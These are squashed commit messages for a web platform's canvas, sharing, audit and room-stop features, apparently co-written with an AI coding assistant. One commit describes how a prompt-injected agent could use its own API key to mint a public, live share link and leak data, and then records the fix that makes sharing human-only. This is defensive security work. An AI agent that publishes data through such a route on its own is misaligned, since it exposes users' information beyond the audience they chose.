— the single-canvas route is the one a person actually clicks. Logged only when something was removed, since the route is idempotent and a repeat click would otherwise fill the trail with events where nothing happened. * AC #8: deleting the DEFAULT canvas is allowed, comes back empty on the next write, and frees a slot against the cap. `main` is the id both the MCP tools and the voice panel fall back to, so it is the one most likely to be deleted by accident and the one whose deletion must strand nobody. * AC #9: the user doc gains a "Removing canvases" section stating the permission rule, the cap, and that nothing is ever deleted to make room. Also records a latent pre-existing mismatch found while testing: `empty_canvas` returns None timestamps while `models.Canvas` requires strings, so `Canvas(**empty_canvas(...))` raises. Not live — its only caller declares no `response_model` — but adding one there would turn the voice teardown poll into a 500. Left as a comment where the next person to reach for that will meet it, rather than fixed out of scope. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): share a canvas at a link, and download it as a PDF A canvas is where an agent's real output lives, and until now it could not leave the Workspace: no share link, no export, nothing in the tree that renders a PDF. **Sharing never widens the audience by accident.** Two scopes, and the default is the narrow one: `authorized` makes the link a DEEP link — opening it requires signing in and the server re-checks `can_user_access_agent`, so it reaches "the people who could already see it" and nobody else. `public` is an explicit, separate, audited choice. Failing narrow is enforced in five independent places (column default, Pydantic default, `normalize_scope`'s fallback, the order of `SHARE_SCOPES`, the radio the dialog preselects), because a link that reaches further than the sharer understood is the one failure this feature must not have. **`agent_canvas_shares` is deliberately its own table.** `agent_public_links` has a `type` column that looks purpose-built for this, and reusing it would have been a real vulnerability: nothing in that table's read path filters on type — `get_public_link_by_token`, `is_link_valid` and `routers/public.py::_validate_public_link` all resolve a token whatever it is — so a canvas row there would ALSO be a working public-CHAT token, and anyone sent a canvas could talk to the agent. (`type='site'` is the same trap already laid; it is unexploited only because nothing creates those rows today.) A separate table makes the isolation structural instead of dependent on every consumer remembering to check. **Live, and it says so** (AC #3, operator ruling): the link renders the canvas as it is now, carrying its `updated_at` and stale mark, and the page states it is not a copy taken at share time. That follows ent#438's model — a canvas is a surface an agent keeps current — and means a share stores nothing. The cost is drift after sharing; the mitigation is revocation, not freezing. **Revocation keeps the row.** `revoked_at` is stamped, never deleted, because a revoked link has to be able to SAY it was revoked (AC #2), which it cannot do once the row is gone. The status vocabulary splits along disclosure: `revoked` and `expired` are returned only for a token that MATCHED a row — whoever holds such a link was already told the canvas exists — while an unknown token and a canvas deleted out from under a link both collapse into one `not_found`, so a stranger guessing tokens learns nothing from the difference. An unparseable `expires_at` reads as expired: a lifetime we cannot read is one we cannot promise is live. **PDF is print-first**, the path the issue recommended: a print stylesheet plus the browser's own PDF. No headless service to run, and — the deciding reason — no second renderer to keep in step with `CanvasBlock`. A server-side renderer was the stated fallback and was not needed: pagination (`break-inside: avoid` per block) and fidelity both fall out of the same markup the screen uses. `CanvasDocument.vue` is the one printable form, rendered by both the shared page and every authenticated surface, so AC #7's "identical from every canvas surface" is true by construction rather than by three surfaces agreeing. It carries title, agent and generation date, forces the light rendering under `@media print`, and when `window.print` is unavailable the control says so and the share link still works. `ent#425` (hosted deliverable pages) is still open, so per this issue's own boundary rule this ships the narrower share link and #425 adopts it later. Verified against a real database, not stubs: the full resolution matrix (public/anonymous → ok, authorized/anonymous → sign-in, authorized/owner → ok, authorized/stranger → refused, unknown → not-found, revoked, expired, unparseable expiry → expired, canvas deleted → not-found), views counted only on a successful render, cross-agent revoke refused, and a second revoke keeping the first revocation time. 23 backend tests, 20 vitest cases for the pure rules. Related to Abilityai/trinity-enterprise#554 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * test(canvas): patch the cap where the live code reads it, not where the test imports it Two ent#553 tests passed in isolation and failed in a full-suite run: `test_the_cap_refuses_a_new_canvas_by_name` and `test_deleting_the_default_canvas_frees_a_slot_against_the_cap`. Order-dependence, not a defect in the feature. They patched `db.canvas.CANVAS_MAX_PER_AGENT` via a fresh `import db.canvas`. Some earlier test in the suite evicts that module from `sys.modules`, so the fresh import hands back a NEW module object while the live `db._canvas_ops` is still an instance of the OLD class — whose `upsert_canvas` reads the OLD module's globals. The patch lands somewhere nothing consults, the cap stays at its default of 100, and the "refuses the 4th of 3" assertions fail. `_set_cap` patches the bound method's own `__globals__`, which is whichever module dict the running code actually closes over — correct whether or not an eviction happened, so it does not depend on knowing which test pollutes. Same failure and same fix as #2589, where the identical shape bit `mark_stale_activities_failed`. Worth noting the class: a monkeypatch on a module attribute is only as good as the assumption that the live object came from that module object, and in a suite that evicts modules that assumption is not free. The feature is unchanged — this touches only the test file. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): print the canvas, not the whole page Reported from hands-on testing: pressing PDF offered to export the entire page. Correct report — the print stylesheet only STYLED the document and never hid anything else, so `window.print()` printed the nav bar, the tabs, the on-screen panel AND the print copy. That is not "one clean column" by any reading (AC #4), and it is the first thing anyone pressing the button hits. Two halves, both required: * a print rule that hides every `body` child except `.canvas-print-root`; * the print copy TELEPORTED to <body>, so it is a body child and the rule can spare it. Nested inside the app the rule would hide its ancestor and print nothing at all — worse than the bug. `body > *` rather than a class on the app root: it needs no knowledge of how the app is mounted and works identically on the standalone shared page, which keeps AC #7's "identical from every surface" true rather than approximately true. The copy is rendered only while printing (`v-if="printing"` + a `nextTick` flush before `print()`, since printing a not-yet-rendered teleport yields a blank sheet), so the DOM carries no permanent hidden duplicate. `canvasPrintIsolation.spec.js` pins all three structural facts. Nothing automated can inspect a print preview, which is exactly why the bug shipped — so the guard asserts the mechanism instead: the hiding rule exists, the root is teleported to body, and the document mounts before print() is called. Mutation-tested: removing the hiding rule fails it. Also fixes a design-system violation the ratchet caught in the same file: `SharedCanvas` gated its skeleton on a bare `v-if="loading"`. Now `viewState()` — loading means "no data yet", never "a fetch is in flight" (#1927, design-system p13-p15). The page fetches once today, so this is the rule holding rather than a bug fixed; it stays correct if a refresh is added. Baselining my own new violation was the alternative and would have been the wrong one. Related to Abilityai/trinity-enterprise#554 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): the open canvas is shared context for the turn When a user with a canvas on screen says "add a column to this", the agent now knows which canvas they mean. Before this the turn carried the message and nothing about the surface around it, so the agent asked, guessed, or minted a new canvas beside the one being looked at. The mechanism is a per-turn context field — `schedule_executions.open_canvas_id`, the same shape as the `source_channel*` columns beside it — stamped at dispatch and read back by the tools and the prompt. It is CONTEXT, never AUTHORITY, and two independent halves keep it there: - `validated_open_canvas` decides what may be STAMPED. The id is client-supplied, so it is checked against the agent's own canvases and against what that caller can see: an operator-only canvas is invisible to an external client (otherwise the field is an existence oracle for canvases the agent keeps privately), and another agent's canvas is refused outright. Every failure degrades to "nothing open" — never an error, never a wider reach. - `effective_canvas_id` decides what a tool ACTS on, and cannot widen anything: every read and write still passes the existing ownership and audience gates. Precedence is stated once so all three tools agree: `explicit canvas_id > the canvas the user has open > the default canvas`. It returns WHY as well as WHICH, because with nothing named the agent has to be able to say which canvas it wrote to — "I updated the canvas" is not good enough when there are eight and the user is looking at one. Both delivery paths are needed, not one. The MCP tools resolve a missing `canvas_id` through `GET /api/agents/{name}/canvas/context` (declared above `/{canvas_id}` — Invariant #4, since "context" is a valid id shape), AND the turn prompt names the open canvas: a tool default handles a call that omits an id, but an agent must READ a canvas before editing it and cannot read what it cannot name. The prompt line rides the same prefix as the file manifest, so it is present on a resumed turn too — the open canvas changes between turns while the session's memory of it does not. A canvas deleted mid-conversation resolves to nothing, re-checked at read time rather than trusted from the stamp: ent#553 made deleting one click, and a surviving id would have the agent's next write CREATE a canvas under it, silently resurrecting something a person deleted. Voice inherits this by construction — ent#440 submits a spoken utterance through the same `deliver()` a typed one takes. The `canvas` tools in `gemini_voice.py` are deliberately untouched: that is VOICE-001's ephemeral display panel, a different surface with no persisted id. Dual-track migration (`execution_open_canvas` + Alembic `0060`); the column is nullable, so every existing row and every un-updated caller reads as "nothing open". Related to Abilityai/trinity-enterprise#555 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): re-parent the pinned revision, and make the canvas cap reachable Two review items from #2619. **Alembic head fork (#2068 class).** `0058_agent_canvases_pinned` shared `down_revision = 0057` with #2608's `0058_portal_file_dismissals`, which has since landed on `dev` — two heads, and `alembic upgrade head` resolves its single target before applying anything, so EVERY revision merged since the fork stops arriving, not just one. Re-parented onto `0058_portal_file_dismissals` and renumbered to `0059` so the prefix keeps being a usable ordering cue; the id is not applied anywhere yet, so the rename costs nothing. `check_alembic_heads.py` reports 1 head. **`CANVAS_MAX_PER_AGENT` was inert (#1039 class).** The refusal message names the number, but the variable was read only from `os.getenv` in `models.py` and appeared in no compose file — so an operator following the refusal's own advice would raise a lever that never reaches the container. Wired into `docker-compose.yml`, `.prod.yml` and `.hosted.yml` (the last two launch standalone, no base merge / no `env_file`) plus `.env.example`. Related to #2619 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * chore(design-system): re-freeze CanvasPanel's raw-gray ceiling for ent#553 The raw-colour ratchet became enforceable on dev while this branch was open (#2605/#2609), and the merge brings it here: this PR's delete/pin/ search chrome takes `components/canvas/CanvasPanel.vue` from 25 to 46 `raw_gray`, so `tests/unit/rawColorRatchet.spec.js` fails the frontend build. That growth is the honest kind. The design-system contract SPELLS the neutral ink ladder as `gray-N` — surfaces gray-50/100/800/900, borders gray-200/300/700/800, ink gray-300/400/500/600 — and there is no semantic token for a neutral, which is exactly why the spec's own comment says gray is ratcheted but never held to zero for new files. The rule it does hold new code to is `raw_nongray`, and this file stays at **0**. Re-frozen in its OWN commit with the increase named in the baseline's `refrozen` block, which is what the ratchet's error message asks for — not absorbed silently into the feature diff. The entry is hand-edited rather than regenerated so #2605's provenance block survives; no other file's ceiling moves (verified: nothing grew, nothing is stale, no un-baselined file carries `raw_nongray`). Related to #553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * fix(canvas): state the bound, audit the Workspace writes, gate Manage on ownership (ent#553) Three review findings, all in the same direction — the backend was right and the user-facing half did not arrive — plus the two smaller ones. 1. **The stated bound now reaches the user.** `canvasLimit` was a `ref(0)` nothing ever assigned, so `canvasHeadroom(n, 0)` returned `{label: null}` and the early warning could not render at any count. The ceiling rides `GET /api/settings/feature-flags` as `canvas_max_per_agent` — the established home for a value the browser needs to render a surface, and where `platform_default_model` / `install_source` already set the precedent for a non-boolean. Not a new route (Invariant #13 would owe three surfaces for one integer) and not an envelope around the canvas list (the MCP tool and the Workspace both read it as a bare array). It is a CONSTANT, not per-agent state, and the client already holds the count. `0` still means "not told" and still renders nothing, so an older backend is unchanged. 2. **The Workspace canvas writes are audited.** The three portal routes recorded nothing while their operator twins have logged since they shipped, and `docs/user-docs/agents/agent-canvas.md` tells users deletion is audited — so the claim was false for exactly the client-facing surface. `_audit_canvas_change` is the shared helper; the actor is `actor_email` (the documented #848 inline-auth path) rather than a fabricated `User`, which is honest because `_require_canvas_manager` is platform-only and owner-or-admin, so a real Trinity user is always behind it. Ids and counts only (G-04). The three routes become `async def` to await it, matching their operator twins, which already call the same sync db functions from an async handler. Pinning is audited too, on BOTH surfaces — the operator route was the one recording nothing. A pin decides which canvas an entire roster sees first, so it is an administrative act on a shared surface, not a per-viewer preference. 3. **`canManage` comes from the parent.** It was hardcoded `true` on the argument that the server decides. It does — but a merely-shared user was then shown Manage → Delete / Pin and got a 403, which is the failing-control problem `can_manage_canvases` exists to prevent on the Workspace. Agent Detail passes `agent.can_share`, the same predicate `ReportsPanel` five lines above already reads and the same one `_gate_human_removal` enforces. The prop defaults FALSE, so a caller that forgets it hides an affordance rather than offering one that refuses. 4. **`get_agent_card` resolves `can_manage_canvases`.** It omitted it, so the same owner read `true` in the sidebar and `false` on the agent's own page — the disagreement #2160's own docstring says that function exists to prevent. 5. **An agent genuinely cannot pin its own canvas now.** The user doc said so; `_gate_human_removal` allowed it (right for delete — an agent tidying up after itself — and wrong for pin), and "no MCP tool exposes it" is a property of the client, not of the route. `_gate_pin` is humans-only, which makes the documented sentence true rather than aspirational. Tests: the audit guard now walks the portal routes as well as `routers.canvas` (it only ever inspected the latter, which is why three unaudited routes passed it), plus pin-audit parity, the humans-only pin gate beside the still-permitted agent self-delete, the feature-flags constant being the same object the refusal is raised from, the agent-card/roster agreement, and four frontend wiring cases. 1025 backend / 2538 frontend tests green. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(canvas): the Workspace audit names the operator, not the platform (ent#553) Found re-reviewing my own audit fix. Adding the rows was right; the attribution was wrong, and a row that lands under the wrong actor is worse than the missing row it replaced — nothing fails, so the wrong answer is believed. `_audit_canvas_change` passed `actor_email` only. But `platform_audit_service._resolve_actor` derives `actor_type` from `actor_user` / `actor_agent_name` / `mcp_scope` / `mcp_key_id` and never from the email, so an email-only call falls through to its last branch: _resolve_actor(None, None, None, None) -> ("system", "trinity-system", None) So every Workspace canvas delete and pin was recorded as `actor_type="system"`, `actor_id="trinity-system"` — a named operator's action attributed to the platform, invisible to any `actor_type=user` query and to the audit UI's per-actor filter. Verified against the real resolver, not by reading the call. The `actor_email`-only path I cited (#848 inline auth) is right where the caller genuinely has no `users` row. That is not this route: `_require_canvas_manager` is platform-only and resolves through `db.can_user_share_agent`, so a row exists by construction. It now resolves that row and passes `actor_user`, producing the same `("user", <id>, <email>)` shape the operator twin has always written — which is the point, since auditing the two surfaces differently buys little more than auditing one of them. Best-effort by construction: the action has already happened, so a lookup that raises or misses must not drop the row. It falls back to the email-only call with a WARNING, since a miss would mean the gate admitted someone the user table does not know. Tests: the regression is pinned against the REAL `_resolve_actor` (both the shape the fix must not return to and the shape it produces now), plus a source guard that the helper resolves a row, passes `actor_user`, keeps the email as a fallback and cannot raise. Removing `actor_user=` reds it. 31 passed on the ent#553 file; 953 across canvas / portal / audit. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(migrations): chain 0060_agent_canvas_shares off the renamed pinned revision ent#553 renamed its revision 0058_agent_canvases_pinned -> 0059 when it absorbed dev's 0058_portal_file_dismissals; this revision still pointed at the old id, so after the merge the directory resolved to two heads and `alembic upgrade head` would have applied nothing. Renumbered to 0060 as well so the numeric prefix stays a unique ordering cue. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * chore(frontend): re-freeze CanvasPanel.vue raw_gray 46 -> 62 for ent#554 The share/PDF controls add gray chrome copied from the panel's existing header; the branch predates the #2605 ratchet, so the guard first bit when dev was merged in. Scoped to this one entry, in its own commit, as the guard's own message prescribes. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(migrations): renumber execution_open_canvas to 0061 behind 0060_agent_canvas_shares Follows the ent#554 renumber so the chain reads 0059 pinned -> 0060 shares -> 0061 open-canvas with unique prefixes and a single head. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * test(canvas): resolve CanvasLimitExceeded from the live method's globals The two cap tests imported the class from `db.canvas` while `_set_cap` already patches the cap through `upsert_canvas.__globals__` — because an earlier test can evict and re-import the module. The same eviction gives the test a different class object than the one the live code raises, and `pytest.raises` then reports the correct refusal as an unexpected exception. Seen once in a full local run after the dev merge (both tests pass in isolation and under CI's three seeds); resolve the class from the same globals the cap comes from. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): keep the selector visible when a search narrows to one match (ent#553 review) `CanvasPanel.vue` gated the chip strip on `visible.length > 1 || manage`, where `visible` is the FILTERED list. Searching down to exactly one canvas hid the strip while the previously selected canvas stayed on screen, and the auto-select watcher — keyed off the unfiltered `props.canvases` — never selected the match. Proven by execution: 7 canvases, query "Topic 3" → strip false, no-match message false. The one canvas the user just searched for was unreachable. Fix: - `canvasSelectorVisible({visible, manage, query})` — with a query, any hit shows the strip; without one, a single canvas is no choice (unchanged). - `canvasAutoSelect(visible, selectedId, query)` — while a query is active the selection follows the matches; no-op with no query or when the current selection already matches. - `CanvasPanel.vue` consumes both: `v-if="selectorVisible"` and a watcher on `[visible, query]`. Tests: - `canvasUtils.spec.js`: the two pure rules. - `canvasPanelSelectorGate.spec.js`: slices the `selectorVisible` computed out of the SFC and RUNS it against the ejection's numbers; pins that the template reads the computed, not a re-derived length test, and that the watcher calls `canvasAutoSelect`. - `test_ent553_canvas_lifecycle.py`: the second review ask — the per-agent cap reaches the wire as a 409 through the real router → service → db chain (only the Redis rate limiter stubbed), names the remedy, and the same PUT against an existing id stays an update. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): the search box outlives a shrink below the threshold (ent#553 review) `query` has exactly one writer — the search input's `v-model` — and that input was `v-if="showSearch"` with `showSearch = ordered.length > 6`. Seven canvases, type "Topic 3", delete the one match: six canvases, the box unmounts, `visible` still filters on the stale query, the strip collapses, and the panel says *No canvas matches "Topic 3"* with no control left to clear it. Every remaining canvas is unreachable via the chips until navigation. Also reachable with no operator action: the agent's own `clear_canvas` plus a rail refresh while a query is typed. The rule is pure — `canvasSearchVisible(count, threshold, query)` — and keeps the box while a query is active regardless of the count: the typed intent survives the shrink, and the no-match line keeps the one control that clears it. Resetting `query` when the box would flip off was the other option and was rejected: it erases a search the user was mid-way through because a sibling canvas went away. The gate spec that pinned the previous ejection drove `visible`/`query` in isolation from `showSearch`, which is why it could not see this one. It now slices the real `showSearch` computed out of the SFC and RUNS it against the ejection's own numbers (7 → 6 with "Topic 3" typed → box stays; 6 with no query → box gone), and pins that the input is gated on that computed and is the sole writer of `query`. Mutation-checked: reverting the gate to the old length test reds three cases. Four mechanical items from the same review ride along: - requirements/core-agent.md: the ent#438 "deliberately no retention window: bounded by construction" line now says why that reasoning was wrong (rows are bounded per canvas, the count was not) and what bounds it instead; FR-18..FR-22 record delete / bulk / cap / pin / search, which had no requirements entries at all. - raw-color-baseline.json: the `_ent553_note` naming CanvasPanel.vue's 25 → 46 raw_gray was added in 2794388 and dropped by the dev merge aa248f7; re-added so the growth is named in the file. - routers/canvas.py `# mcp:` header now says pin and bulk-delete are unexposed on purpose, and why — Invariant #13's deliberate-vs-forgotten signal. - feature-flows/agent-canvas.md: the two search-state rules and the defect class they close. Verified: vitest 2696 passed (121 files); canvas backend suites 101 passed; raw-colour ratchet and loading-gate ratchet unchanged. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RS8FBA7oEtAAv6GamZKong * fix(canvas): a share link is a grant, so only a human may mint one (ent#554 review) `create_canvas_share`'s docstring said "Owner-or-admin and human-only via `_gate_human_removal`". That gate is not human-only — its own docstring, one screen above, says an agent-scoped key may act on its own agent, which is correct for `clear_canvas` ("an agent tidying up after itself") and wrong for every verb that decides what someone OTHER than the agent may see. So a prompt-injected agent could POST /api/agents/<self>/canvas/<id>/share {"scope": "public"} with the TRINITY_MCP_API_KEY already in its container and publish its own canvas at an unauthenticated URL. Three things make that worse than it first reads: * the share is LIVE, not a snapshot, so one link is a self-updating channel rather than a one-time disclosure; * the agent is the only writer of canvas blocks, so anything it can read it can copy into a canvas and publish; * `audience` is not consulted on the share path, so ent#438's fail-closed "a canvas reaches a client only because the agent said so" would not have applied — the agent would have been choosing for itself. `list_canvas_shares` had the same gate and returns the TOKEN, which is the capability itself; `revoke_canvas_share` too, so an agent could also turn off a person's link. The fix is the grant-vs-use line (Invariant #8): the endpoint that USES a capability may be agent-callable, the one that GRANTS one is human-only. * `_gate_human_only(current_user, name, *, agent_detail)` is factored out of `_gate_pin` — the predicate was always right, only its NAME described one caller. A gate named for a verb ("removal") is one a fourth caller reaches past by accident; a gate named for its rule is not. `_gate_pin` and the new `_gate_share` both delegate to it, with per-caller refusal text because an agent reads that message to decide what to do next. * The three share routes now call `_gate_share`. * The delete routes deliberately KEEP `_gate_human_removal`, and a test guards that boundary in the other direction — the first attempt at this fix swept `clear_canvas` into the human-only gate, because one `str.replace` matched both bodies. That would have broken a real MCP tool for every agent: a security fix breeding the next bug, the /review §4.14 class. Six regression tests; four of them fail against the previous commit (the other two are the over-correction guards, which must pass both ways by design). The 23 tests already here covered scope defaults, expiry, revocation and enumeration, but none used an agent principal on any share route — which is how this shipped. Docs: the user doc now states that sharing is the owner's alone and that the routes refuse an agent's own key, beside the same sentence for pin; the flow doc records the decision, the blast radius, and why the delete routes stay permissive. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ * docs(canvas): record the share routes in the file's own mcp: convention (ent#554 review) The header comment lists which canvas routes are deliberately NOT exposed as MCP tools and why. ent#554 added three that qualify — minting, listing and revoking a share link — and the list did not grow with them. Worth more than a comment here: the ent#553 entry states the rule the share routes then failed to follow ("no tool exposes it" is a property of the client), so a reader consulting this header to decide a fourth route's gate would have found the reasoning but not the precedent. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ * docs(learnings): a gate named after a verb gets reached for by the wrong route (ent#554 review) Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> Co-authored-by: Eugene Vyborov <eugene@ability.ai>

#2202) Two papercuts found together, on the one page a 31-page sweep flagged as the only source of a page-level console error — and it produced one on every tab. **The 404.** Settings read `public_chat_url` through the generic `GET /api/settings/{key}`, which answers 404 for a key nobody has written. The store already treated 404 as "unset", so nothing was broken; what was lost was the signal — a real failure on that call looked exactly like the ordinary case — and no client-side handling can suppress the browser's own network log, which is why the fix is a route and not a try/catch. `GET /api/settings/public-chat-url` answers 200 with `value: null` when unset, following the `/mcp-url` precedent: a named route for a named setting, declared above `/{key}` (Invariant #4). The generic route's 404 is deliberately unchanged — it is the documented contract for every other key and is read outside this repo. Writing the spec found a SECOND key with the same defect, unnamed in the issue: `platform_default_model`, 404ing eight times per Settings load. It needed no new route — `/api/settings/feature-flags` already carries the resolved value — so the page now reads it from there, which is also more correct: the control shows what the platform will actually use instead of blank. **The unbounded list.** MCP Keys rendered every key an instance had ever minted: measured 306, of which 294 revoked (96%), ~71KB of DOM text, no filter, no bound. Agent keys accumulate structurally — one per agent, one per #1854 rotation, one per ephemeral ghost — so the page grows for the life of the instance and the 12 keys that still work are buried in the 294 that do not. Revoked keys are now hidden behind an explicit toggle that STATES the count, the list is searchable by name/prefix/agent, and rendering is bounded at 25 rows with a "Show more". The rules are pure (`utils/mcpKeyList.js`) because vitest runs `environment: 'node'`; the non-admin agent-key filter is carried through unchanged and asserted, since it is an access rule wearing a filter's clothes. Three empties, three next actions — "No API keys" was a lie to an operator holding 294 revoked ones — but ONE piece of chrome: the wording is computed and only the action row branches, because three copies of the markup would have tripled this file's palette-class count. The new controls are built from the Base* primitives (#2122), and the two container borders they need are paid for by converting the create form's hand-rolled name input and description textarea to `BaseInput`/`BaseTextarea` in the same component: `McpKeysTab.vue` raw_gray 97 -> 83. Baseline edited by hand, not regenerated. Verified against a local dev instance (a key created and revoked to exercise the toggle, removed afterwards): every tab loads with zero 404s and zero console errors, the list renders 2 of 3 keys with "Show revoked (1)" and "2 active", the toggle reveals the revoked row while staying bounded, search narrows to a named empty state that offers the way back, and the converted create form renders and binds in both themes. Red without the fix on both halves. Frontend unit suite 134 files / 2949 tests green. Fixes #2202 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ

…2795) /review finding on this branch. `_wake_agent` tells a user cancel from a failure by reading `execute_task`'s returned status — exact on a current agent image, which relabels its own 504/502/500 to a `cancelled` 200 when its process registry says the turn was terminated (#679 F3). An OLDER image re-raises: `execute_task` writes FAILED, that write loses the CAS to the CANCELLED the terminate route already wrote, and returns FAILED anyway. The room would then post "<agent> could not respond (no response)." for a stop the reader had just asked for — the exact AC #4 violation this PR exists to fix — and drop a resume handle that was never bad. The 1:1 is immune for a reason worth copying carefully: it never trusted the return value either, it remembers the cancel client-side (`cancelledExecutionIds`). A room has no such memory, so it asks the row. Three properties: the re-read is scoped to the branch where it can change the answer (the first draft fired on every terminal — a test now pins the successful-reply path at zero reads); it is fail-OPEN, so an unreadable row leaves the returned status in force; and it only runs on a path that has already lost an LLM turn. Tests: 24 in `tests/unit/test_2795_room_stop.py` (was 17), covering the old-image cancel, a genuine failure, both no-read paths, and both fail-open paths. Related to #2795 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf

… a failure (#2795) (#2798) * fix(workspace): a running room turn can be stopped, and a stop is not a failure (#2795) Two independent gaps stacked up, so once a room fanned a message out there was no way to interrupt any agent short of waiting for the turn timeout. **1. The room's tiles never offered Stop.** `PortalWorkCard` has always rendered a Stop button; `PortalRoom.vue` simply never handed it `:can-stop` / `@stop`. Wired to the Work tab's own store action — `stopItem` re-checks the server's verdict, calls the same portal terminate route, treats a 404 as the lost race rather than a refusal, and refetches so CANCELLED comes back from the server instead of being written optimistically. Two surfaces, one cancel path. **2. The server said those rows were unstoppable.** `can_stop` gated on `kind in ("turn", "delegated")`, and a room wake projects as `room` — so the Work tab listed the run and hid the only control that would have ended it. That widening is not cosmetic: the terminate route's own gates are `_require_roster(agent)` and `execution_belongs_to_caller` (agent match + `source_user_email` match), and `_wake_agent` satisfies both by construction — every wake runs through `execute_task(..., source_user_email=<the poster>)` on an agent that is a room participant, which on the Workspace can only be an agent already on the poster's roster. The route accepted these rows all along. `test_the_projection_and_the_terminate_route_agree` now evaluates both predicates against one row so the claim cannot rot. The kind list became a named ALLOWLIST (`STOPPABLE_KINDS`) rather than gaining a third literal: an unrecognised trigger projects as `other` and must stay unstoppable. `loop` is still excluded — a loop is stopped from the Loops tab, where stopping the LOOP is what the person means. Nothing else about the gate moves: "only the person who started the run may stop it" is untouched, and stopping one participant's execution leaves the others alone (the fan-out is sequential, so the next agent is woken after the cancel returns). **3. A cancel read as a fault.** `_wake_agent` treated CANCELLED exactly like FAILED: it posted "<agent> could not respond (no response)." — the surface blaming the agent for something the reader themselves asked for — and dropped the cached resume handle. That drop exists for a DEAD handle; a cancel is no evidence of one, and dropping it makes the next turn pay for a cold context rebuild. CANCELLED now posts "<agent>'s turn was stopped." and keeps the handle. The read cursor is still not advanced, so the delta the stopped turn never answered is re-delivered on the next wake. **Escape** gets a rule of its own rather than being scoped out: a room fans out to several agents, so `soleStoppableItem` stops the turn only when there is exactly one to stop, and is a no-op otherwise — guessing by position destroys work somebody is still waiting for. In practice the fan-out is sequential, so a room normally has one live row and Escape behaves as it does in a 1:1. It goes through `shouldCancelOnEscape` with the typeahead and add-agent popups as overlays, so ent#155's "anything nearer the keystroke wins" rule is unchanged. Also guards the live-work `v-if`/`v-else-if` chain with an AST test. Not hypothetical: the first draft of this change inserted the stop-error line between two of its arms and silently repointed the "…is thinking…" fallback at `stopError`. The SFC compiled and every other test passed — the #2794 defect, committed inside its own sibling fix. `roomComposerChain.spec.js` pins the same hazard one region down. Tests: `tests/unit/test_2795_room_stop.py` (17) and `src/frontend/tests/unit/roomStopWork.spec.js` (17, incl. a negative-tested chain guard). Full frontend suite 2922 green; the room/work backend suites 152 green. Related to #2795 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf * fix(workspace): read the terminal that STANDS, not the one returned (#2795) /review finding on this branch. `_wake_agent` tells a user cancel from a failure by reading `execute_task`'s returned status — exact on a current agent image, which relabels its own 504/502/500 to a `cancelled` 200 when its process registry says the turn was terminated (#679 F3). An OLDER image re-raises: `execute_task` writes FAILED, that write loses the CAS to the CANCELLED the terminate route already wrote, and returns FAILED anyway. The room would then post "<agent> could not respond (no response)." for a stop the reader had just asked for — the exact AC #4 violation this PR exists to fix — and drop a resume handle that was never bad. The 1:1 is immune for a reason worth copying carefully: it never trusted the return value either, it remembers the cancel client-side (`cancelledExecutionIds`). A room has no such memory, so it asks the row. Three properties: the re-read is scoped to the branch where it can change the answer (the first draft fired on every terminal — a test now pins the successful-reply path at zero reads); it is fail-OPEN, so an unreadable row leaves the returned status in force; and it only runs on a path that has already lost an LLM turn. Tests: 24 in `tests/unit/test_2795_room_stop.py` (was 17), covering the old-image cancel, a genuine failure, both no-read paths, and both fail-open paths. Related to #2795 Co-Authored-By: 